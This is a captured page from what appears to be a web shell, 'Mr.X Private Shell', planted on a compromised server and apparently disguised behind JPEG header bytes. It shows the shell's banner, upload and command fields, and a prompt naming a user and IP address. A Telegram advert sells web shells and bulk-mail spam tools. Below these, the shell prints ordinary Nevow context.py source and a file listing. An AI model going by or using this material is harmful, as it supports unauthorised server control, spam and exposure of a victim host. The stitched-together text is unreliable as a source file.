����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eurolloncard@216.73.217.25: ~ $
# -*- test-case-name: nevow.test.test_context -*-
# Copyright (c) 2004 Divmod.
# See LICENSE for details.

from __future__ import generators

import warnings

from nevow import stan
from nevow.inevow import IData, IRequest
from nevow.stan import Unset
from nevow.util import qual

from zope.interface import providedBy
# TTT: Move to web2.context

def megaGetInterfaces(adapter):
    return [qual(x) for x in providedBy(adapter)]

dataqual = qual(IData)

class WebContext(object):
    _remembrances = None
    tag = None
    _slotData = None
    parent = None
    locateHook = None

    # XXX: can we get rid of these somehow?
    isAttrib = property(lambda self: False)
    inURL = property(lambda self: False)
    inJS = property(lambda self: False)
    inJSSingleQuoteString = property(lambda self: False)

    precompile = property(lambda self: False)

    def arg(self, get, default=None):
        """Placeholder until I can find Jerub's implementation of this

        Return a single named argument from the request arguments
        """
        req = self.locate(IRequest)
        return req.args.get(get, [default])[0]

    def __init__(self, parent=None, tag=None, remembrances=None):
        self.tag = tag
        sd = getattr(tag, 'slotData', None)
        if sd is not None:
            self._slotData = sd
        self.parent = parent
        self._remembrances = remembrances

    def remember(self, adapter, interface=None):
        """Remember an object that implements some interfaces.
        Later, calls to .locate which are passed an interface implemented
        by this object will return this object.

        If the 'interface' argument is supplied, this object will only
        be remembered for this interface, and not any of
        the other interfaces it implements.
        """
        if interface is None:
            interfaceList = megaGetInterfaces(adapter)
            if not interfaceList:
                interfaceList = [dataqual]
        else:
            interfaceList = [qual(interface)]
        if self._remembrances is None:
            self._remembrances = {}
        for interface in interfaceList:
            self._remembrances[interface] = adapter
        return self

    def locate(self, interface, depth=1, _default=object()):
        """Locate an object which implements a given interface.
        Objects will be searched through the context stack top
        down.
        """
        key = qual(interface)
        currentContext = self
        while True:
            if depth < 0:
                full = []
                while True:
                    try:
                        full.append(self.locate(interface, len(full)+1))
                    except KeyError:
                        break
                #print "full", full, depth
                if full:
                    return full[depth]
                return None

            _remembrances = currentContext._remembrances
            if _remembrances is not None:
                rememberedValue = _remembrances.get(key, _default)
                if rememberedValue is not _default:
                    depth -= 1
                    if not depth:
                        return rememberedValue

            # Hook for FactoryContext and other implementations of complex locating
            locateHook = currentContext.locateHook
            if locateHook is not None:
                result = locateHook(interface)
                if result is not None:
                    currentContext.remember(result, interface)
                    return result

            contextParent = currentContext.parent
            if contextParent is None:
                raise KeyError, "Interface %s was not remembered." % key

            currentContext = contextParent

    def chain(self, context):
        """For nevow machinery use only.

        Go to the top of this context's context chain, and make
        the given context the parent, thus continuing the chain
        into the given context's chain.
        """
        top = self
        while top.parent is not None:
            if top.parent.tag is None:
                ## If top.parent.tag is None, that means this context (top)
                ## is just a marker. We want to insert the current context
                ## (context) as the parent of this context (top) to chain properly.
                break
            top = top.parent
            if top is context: # this context is already in the chain; don't create a cycle
                return
        top.parent = context

    def fillSlots(self, name, stan):
        """Set 'stan' as the stan tree to replace all slots with name 'name'.
        """
        if self._slotData is None:
            self._slotData = {}
        self._slotData[name] = stan

    def locateSlotData(self, name):
        """For use by nevow machinery only, or for some fancy cases.

        Find previously remembered slot filler data.
        For use by flatstan.SlotRenderer"""
        currentContext = self
        while True:
            if currentContext._slotData:
                data = currentContext._slotData.get(name, Unset)
                if data is not Unset:
                    return data
            if currentContext.parent is None:
                raise KeyError, "Slot named '%s' was not filled." % name
            currentContext = currentContext.parent

    def clone(self, deep=True, cloneTags=True):
        ## don't clone the tags of parent contexts. I *hope* code won't be
        ## trying to modify parent tags so this should not be necessary.  We
        ## used to also clone parent contexts, but that is insanely expensive.
        ## The only code that actually required that behavior is
        ## ContextSerializer, which is the only caller of context.chain.  So
        ## instead of doing the clone here, now we do it there.

        if self.parent is not None:
            if deep:
                parent = self.parent.clone(cloneTags=False)
            else:
                parent = self.parent
        else:
            parent = None

        if cloneTags:
            tag = self.tag.clone(deep=deep)
        else:
            tag = self.tag

        if self._remembrances is not None:
            remembrances = self._remembrances.copy()
        else:
            remembrances = None

        return type(self)(
            parent=parent,
            tag=tag,
            remembrances=remembrances,
        )

    def __conform__(self, interface):
        """Support IFoo(ctx) syntax.
        """
        try:
            return self.locate(interface)
        except KeyError:
            return None

    def __repr__(self):
        rstr = ''
        if self._remembrances:
            rstr = ', remembrances=%r' % self._remembrances
        return "%s(tag=%r%s)" % (self.__class__.__name__, self.tag, rstr)


class FactoryContext(WebContext):
    """A context which allows adapters to be registered against it so that an object
    can be lazily created and returned at render time. When ctx.locate is called
    with an interface for which an adapter is registered, that adapter will be used
    and the result returned.
    """
    inLocate = 0
    
    def locateHook(self, interface):

        ## Prevent infinite recursion from interface(self) calling self.getComponent calling self.locate
        self.inLocate += 1
        adapter = interface(self, None)
        self.inLocate -= 1
        
        return adapter

    def __conform__(self, interface):
        if self.inLocate:
            return None
        return WebContext.__conform__(self, interface)

class SiteContext(FactoryContext):
    """A SiteContext is created and installed on a NevowSite upon initialization.
    It will always be used as the root context, and can be used as a place to remember
    things sitewide.
    """
    pass


class RequestContext(FactoryContext):
    """A RequestContext has adapters for the following interfaces:

    ISession
    IFormDefaults
    IFormErrors
    IHand
    IStatusMessage
    """
    pass

def getRequestContext(self):
    top = self.parent
    while not isinstance(top, RequestContext):
        top = top.parent
    return top

class PageContext(FactoryContext):
    """A PageContext has adapters for the following interfaces:

    IRenderer
    IRendererFactory
    IData
    """

    def __init__(self, *args, **kw):
        FactoryContext.__init__(self, *args, **kw)
        if self.tag is not None and hasattr(self.tag, 'toremember'):
            for i in self.tag.toremember:
                self.remember(*i)

# TTT: To stay here.
NodeNotFound = stan.NodeNotFound # XXX: DeprecationWarning?
TooManyNodes = stan.TooManyNodes # XXX: DeprecationWarning?

class WovenContext(WebContext):
    key = None
    isAttrib = False
    inURL = False
    precompile = False
    inJS = False
    inJSSingleQuoteString = False

    def __init__(self, parent=None, tag=None, precompile=None, remembrances=None, key=None, isAttrib=None, inURL=None, inJS=None, inJSSingleQuoteString=None):
        WebContext.__init__(self, parent, tag, remembrances)
        if self.parent:
            self.precompile = parent.precompile
            self.isAttrib = parent.isAttrib
            self.inURL = parent.inURL
            self.inJS = parent.inJS
            self.inJSSingleQuoteString = parent.inJSSingleQuoteString

        if self.tag is not None:
            if self.tag.remember is not Unset:
                self.remember(tag.remember)
            if key is None:
                key = self.tag.key

        if key is not None and key is not Unset:
            if self.parent is not None and getattr(self.parent, 'key', None):
                self.key = '.'.join((self.parent.key, key))
            else:
                self.key = key
            #print "KEY", `self.key`
        else:
            ## Bubble the value down to the bottom so it's always immediately accessible
            if self.parent is not None:
                self.key = getattr(self.parent, 'key', '')

        if precompile is not None: self.precompile = precompile
        if isAttrib is not None: self.isAttrib = isAttrib
        if inURL is not None: self.inURL = inURL
        if inJS is not None: self.inJS = inJS
        if inJSSingleQuoteString is not None: self.inJSSingleQuoteString = inJSSingleQuoteString

    def __repr__(self):
        rstr = ''
        if self._remembrances:
            rstr = ', remembrances=%r' % self._remembrances
        attribstr=''
        if self.isAttrib:
            attribstr=", isAttrib=True"
        urlStr = ''
        if self.inURL:
            urlStr = ', inURL=True'
        return "%s(tag=%r%s%s%s)" % (self.__class__.__name__, self.tag, rstr,attribstr,urlStr)

    def patternGenerator(self, pattern, default=None):
        warnings.warn("use Tag.patternGenerator instead", DeprecationWarning, stacklevel=2)
        return self.tag.patternGenerator(pattern, default)

    def allPatterns(self, pattern):
        warnings.warn("use Tag.allPatterns instead", DeprecationWarning, stacklevel=2)
        return self.tag.allPatterns(pattern)

    def onePattern(self, pattern):
        warnings.warn("use Tag.onePattern instead", DeprecationWarning, stacklevel=2)
        return self.tag.onePattern(pattern)

    def clone(self, deep=True, cloneTags=True):
        cloned = WebContext.clone(self, deep, cloneTags)
        cloned.isAttrib = self.isAttrib
        cloned.inURL = self.inURL
        return cloned
        

Filemanager

Name Type Size Permission Actions
athena_private Folder 0755
css Folder 0755
flat Folder 0755
js Folder 0755
livetrial Folder 0755
plugins Folder 0755
scripts Folder 0755
taglibrary Folder 0755
test Folder 0755
Canvas.fla File 36.5 KB 0775
Canvas.swf File 5.61 KB 0664
__init__.py File 13.85 KB 0644
__init__.pyc File 14.41 KB 0644
_flat.py File 19.63 KB 0644
_flat.pyc File 19.03 KB 0644
_version.py File 537 B 0644
_version.pyc File 676 B 0644
_widget_plugin.py File 3.34 KB 0644
_widget_plugin.pyc File 5.32 KB 0644
accessors.py File 3.68 KB 0644
accessors.pyc File 6.22 KB 0644
appserver.py File 17.58 KB 0644
appserver.pyc File 22.34 KB 0644
athena.py File 65.41 KB 0644
athena.pyc File 75.71 KB 0644
blocks.py File 6.13 KB 0644
blocks.pyc File 7.16 KB 0644
canvas.as File 6.55 KB 0775
canvas.py File 15.12 KB 0644
canvas.pyc File 23.64 KB 0644
compression.py File 6.15 KB 0644
compression.pyc File 9.18 KB 0644
compy.py File 2.29 KB 0644
compy.pyc File 2.92 KB 0644
context.py File 11.25 KB 0644
context.pyc File 12.77 KB 0644
dirlist.py File 4.51 KB 0644
dirlist.pyc File 4.88 KB 0644
empty-module.css File 0 B 0664
empty-module.js File 0 B 0664
entities.py File 11.3 KB 0644
entities.pyc File 14.99 KB 0644
errors.py File 1.29 KB 0644
errors.pyc File 2.39 KB 0644
events.py File 1.45 KB 0644
events.pyc File 2.48 KB 0644
failure.py File 6.51 KB 0644
failure.pyc File 7.57 KB 0644
guard.py File 21.07 KB 0644
guard.pyc File 23.02 KB 0644
i18n.py File 5.95 KB 0644
i18n.pyc File 7.41 KB 0644
inevow.py File 21.94 KB 0644
inevow.pyc File 36.34 KB 0644
itaglibrary.py File 82 B 0644
itaglibrary.pyc File 491 B 0644
json.py File 8.3 KB 0644
json.pyc File 13.49 KB 0644
jsutil.py File 3.83 KB 0644
jsutil.pyc File 4.22 KB 0644
loaders.py File 7.06 KB 0644
loaders.pyc File 8.33 KB 0644
page.py File 4.51 KB 0644
page.pyc File 5.58 KB 0644
query.py File 3.37 KB 0644
query.pyc File 6.17 KB 0644
rend.py File 29.16 KB 0644
rend.pyc File 36.3 KB 0644
stan.py File 20.95 KB 0644
stan.pyc File 29.03 KB 0644
static.py File 13.16 KB 0644
static.pyc File 16.45 KB 0644
tags.py File 1.91 KB 0644
tags.pyc File 2.72 KB 0644
testutil.py File 17.34 KB 0644
testutil.pyc File 26.98 KB 0644
url.py File 20.12 KB 0644
url.pyc File 25.41 KB 0644
useragent.py File 4.86 KB 0644
useragent.pyc File 4.88 KB 0644
util.py File 7.01 KB 0644
util.pyc File 9.55 KB 0644
vhost.py File 7.01 KB 0644
vhost.pyc File 9.45 KB 0644